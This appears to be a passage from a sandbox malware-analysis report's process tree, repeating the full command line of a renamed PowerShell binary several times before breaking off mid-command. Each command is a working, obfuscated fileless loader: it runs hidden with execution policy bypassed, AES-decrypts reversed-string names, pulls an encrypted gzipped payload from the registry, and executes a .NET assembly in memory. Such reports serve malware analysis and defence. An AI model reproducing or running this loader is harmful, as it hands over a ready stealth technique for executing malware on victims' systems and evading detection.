                                                              "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                              7⤵
                                                                PID:5200
                                                              • C:\Windows\$sxr-powershell.exe
                                                                "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                                7⤵
                                                                  PID:5456
                                                                • C:\Windows\$sxr-powershell.exe
                                                                  "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                                  7⤵
                                                                    PID:4020
                                                                  • C:\Windows\$sxr-powershell.exe
                                                                    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 